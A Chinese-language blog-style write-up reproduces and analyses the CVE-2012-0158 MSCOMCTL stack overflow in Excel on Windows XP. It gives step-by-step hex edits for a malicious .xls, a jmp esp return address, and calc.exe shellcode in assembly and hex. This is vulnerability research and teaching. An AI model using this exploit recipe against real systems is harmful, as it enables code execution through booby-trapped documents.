这篇文章主要记录我复现和分析 CVE-2012-0158 的过程.
目录
Environment 操作系统: VMware Windows XP SP3 Office 版本: 2007 标准版 32位
POC构造 通过excel的开发工具插入 Microsoft ListView , 并写一些VB代码如
1 2 Dim L1 As ListItem Set L1 = ListView1.ListItems.Add(1, "key1", "test1", 0, 0)
然后编译VB, 删除代码后保存
不删除代码会被office拦截插件执行
此时用 WinHex 打开可以看到 Cobj 关键字, 将 Cobj 后的2个 08 00 00 00
修改为某个大于 08 的数 (如18 00 00 00
) 使其发生溢出. 此时打开 poc.xls 发现程序崩溃.
只改其中一个什么都不会发生
漏洞原理 使用OllyDBG调试刚刚构造的poc文件, 崩溃时程序栈如下图:(当然上面还有些异常函数处理的栈空间, 这里就不截图进来了) 我们可以猜测漏洞是由 MSCOMCTL 中的函数造成的. 为了验证这一猜测我们可以加断点使程序在加载 MSCOMCTL 时中断: bp LoadLibraryExW,[UNICODE [esp+4]] == "C:\\WINDOWS\\system32\\MSCOMCTL.OCX"
在 Ollydbg 的 Memory 窗口对 Excel .text段下断点后运行程序使加载 MSCOMCTL 过程完成, 再进入 MSCOMCTL , 在上面栈中显示的函数下断点. 单步调试后发现程序在执行至 MSCOMCTL.275C8BDD:retn 0x8
时崩溃. 用 IDAPro 打开并加载.dbg调试文件后得到 MSCOMCTL.275C8BDD 所在函数的代码为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 int __stdcall CObj::Load(int a1, BSTR bstrString){ BSTR v2; // ebx@1 int result; // eax@1 __int32 v4; // esi@4 int v5; // [sp+Ch] [bp-14h]@1 SIZE_T dwBytes; // [sp+14h] [bp-Ch]@3 int v7; // [sp+18h] [bp-8h]@4 int v8; // [sp+1Ch] [bp-4h]@8 v2 = bstrString; result = ReadBytesFromStreamPadded((int)&v5, bstrString, 0xCu); if ( result >= 0 ){ if ( v5 == 'jboC' && dwBytes >= 8 ){ v4 = ReadBytesFromStreamPadded((int)&v7, v2, dwBytes); if ( v4 >= 0 ){ if ( !v7 ) goto LABEL_8; bstrString = 0; v4 = ReadBstrFromStreamPadded((UINT)&bstrString, (int)v2); if ( v4 >= 0 ){ CObj::SetKey(bstrString); SysFreeString(bstrString); LABEL_8: if ( v8 ) v4 = ReadVariantFromStream((struct tagVARIANT *)(a1 + 20), (struct IStream *)v2); return v4; } } return v4; } result = -2147418113; } return result; }
我们继续使用 Ollydbg 调试我们获得的poc.
.text 段查找 CObj::Load()
的起始位置55 8B EC 83 EC 14 53 8B 5D 0C 56 57 6A 0C 8D 45
加断点后运行至此
单步运行至第二个ReadBytesFromStreamPadded(int, LPVOID lpMem, SIZE_T dwBytes)
, 栈空间如图所示: 发现dwBytes
值为0x18, 超过复制的目标int v7
的长度, 在复制目标地址0x1374D8
处造成栈溢出, 复制完成后栈空间如图所示: 查看栈空间发现复制进的内容与Excel中Cobj关键字后的内容相符
继续单步运行到 ret 0x8
, 返回地址为 FFFFFFFF
(之后修改文档中该位置FF FF FF FF
就可以任意跳转)
那么我们可以认为该漏洞是由CObj::Load()
中的一个内存拷贝函数ReadBytesFromStreamPadded()
导致的栈溢出造成的.
漏洞利用 以Cobj(43 6F 62 6A
)中的43
所在地址为基准 , 修改Cobj+0x8
和Cobj+0xC
处size部分为18 10 00 00
增大复制区域以保证shellcode被完全写入栈
修改Cobj+0x10
为00
此处被Cobj::Load
加载为v7
, 不修改这个会有额外函数调用, 破坏堆栈结构
修改Cobj+0x1C
为 12 45 FA 7F
0x7FFA4512 处是一个jmp esp
指令, 通过这条指令作为跳板 还有call esp
指令可以使用, 这些指令的具体地址是通过OLLYDBG在 kernel32 或 ntdll 中查找
在Cobj+0x28
处插入shellcode 打开修改后的Excel打开了计算器演示视频
Download 跳转地址是0xffffffff的poc 打开计算器示例1 (因为函数地址是硬编码进去的, 可能其他电脑不适用吧…)打开计算器示例2 (这个是动态获取api地址的, 应该更通用些)调试文件
REFERENCE CVE-2012-0158(ms12-027)漏洞分析与利用 Windows平台shellcode开发入门
PS: shellcode编写 这里只是弹一个计算器, 所以C代码很简单WinExec("calc.exe", 5);
但是在shellcode中并不能直接这样调用, 而是需要根据WinExec()
的地址来调用
直接硬编码地址的shellcode WinExec()
的绝对地址是 kernal32.dll 的基地址0x7C800000
加WinExec()
在kernal32中的偏移0x00063231
, 即WinExec()
的地址为0x7C863231
. 然后写成汇编代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 int main(void){ __asm{ push ebp mov ebp, esp //WinExec("calc.exe", 5) xor eax,eax push eax mov eax,6578652Eh //".exe" push eax mov eax,636C6163h //"calc" push eax mov eax,esp push 5 //Arg2 = SW_SHOW push eax //Arg1 = "calc.exe" mov eax,7C863231h //kernel32.WinExec call eax mov esp,ebp pop ebp } return 0; }
那么我该怎么提取出shellcode呢???
Visual Studio
OllyDBG ?
得到shellcode为55 8B EC 33 C0 50 B8 2E 65 78 65 50 B8 63 61 6C 63 50 8B C4 6A 05 50 B8 31 32 86 7C FF D0 8B E5 5D
动态获取api地址的shellcode 思路是通过查询kernel32.dll的导出表确定GetProcAddress()
地址, 再通过GetProcAddress()
获取WinExec()
地址 汇编代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 int main(void){ __asm{ //查找kernel32.dll基址 xor ecx, ecx mov eax, fs:[ecx + 0x30] // EAX = PEB mov eax, [eax + 0xc] // EAX = PEB->Ldr mov esi, [eax + 0x14] // ESI = PEB->Ldr.InMemOrder lodsd // EAX = Second module xchg eax, esi // EAX = ESI, ESI = EAX lodsd // EAX = Third(kernel32) mov ebx, [eax + 0x10] // EBX = Base address push ebx //找到kernel32.dll的导出表 mov edx, [ebx + 0x3c] // EDX = DOS->e_lfanew add edx, ebx // EDX = PE Header mov edx, [edx + 0x78] // EDX = Offset export table add edx, ebx // EDX = Export table mov esi, [edx + 0x20] // ESI = Offset names table add esi, ebx // ESI = Names table xor ecx, ecx // EXC = 0 Get_Function: inc ecx // Increment the ordinal lodsd // Get name offset add eax, ebx // Get function name cmp dword ptr[eax], 0x50746547 // GetP jnz Get_Function cmp dword ptr[eax + 0x4], 0x41636f72 // rocA jnz Get_Function cmp dword ptr[eax + 0x8], 0x65726464 // ddre jnz Get_Function //找到GetProcAddress函数地址 mov esi, [edx + 0x24] // ESI = Offset ordinals add esi, ebx // ESI = Ordinals table mov cx, [esi + ecx * 2] // CX = Number of function dec ecx mov esi, [edx + 0x1c] // ESI = Offset address table add esi, ebx // ESI = Address table mov edx, [esi + ecx * 4] // EDX = Pointer(offset) add edx, ebx // EDX = GetProcAddress //获取WinExec()地址 pop ebx //kernel32.dll xor ecx, ecx push ecx mov ecx, 0x61636578 // xeca push ecx sub dword ptr[esp + 0x3], 0x61 // Remove "a" push 0x456e6957 // WinE push esp //"WinExec" push ebx call edx //执行WinExec() xor ecx, ecx push ecx push 0x6578652E //".exe" push 0x636C6163 //"calc" mov ebx, esp push 5 push ebx call eax } return 0; }
得到shellcode为33 C9 64 8B 41 30 8B 40 0C 8B 70 14 AD 96 AD 8B 58 10 53 8B 53 3C 03 D3 8B 52 78 03 D3 8B 72 20 03 F3 33 C9 41 AD 03 C3 81 38 47 65 74 50 75 F4 81 78 04 72 6F 63 41 75 EB 81 78 08 64 64 72 65 75 E2 8B 72 24 03 F3 66 8B 0C 4E 49 8B 72 1C 03 F3 8B 14 8E 03 D3 5B 33 C9 51 B9 78 65 63 61 51 83 6C 24 03 61 68 57 69 6E 45 54 53 FF D2 6A 00 68 2E 65 78 65 68 63 61 6C 63 8B DC 6A 05 53 FF D0
由于shellcode变长, 因此需要构造另一个插入更长VB代码的 excel 文件, 如
1 2 3 4 5 6 7 8 9 10 11 12 Dim L1 As ListItem Dim key1 As String Dim i As Integer i = 0 key1 = "key1" While (i < 5) key1 = key1 + key1 i = i + 1 Wend Set L1 = ListView1.ListItems.Add(1, key1 + "1", "test1", 0, 0) Set L2 = ListView1.ListItems.Add(2, key1 + "2", "test2", 0, 0) Set L3 = ListView1.ListItems.Add(3, key1 + "3", "test3", 0, 0)
VB代码段过短会导致贴入shellcode后超过原来的VB代码段长度 ,在复制过程中出现shellcode不会被完整复制进栈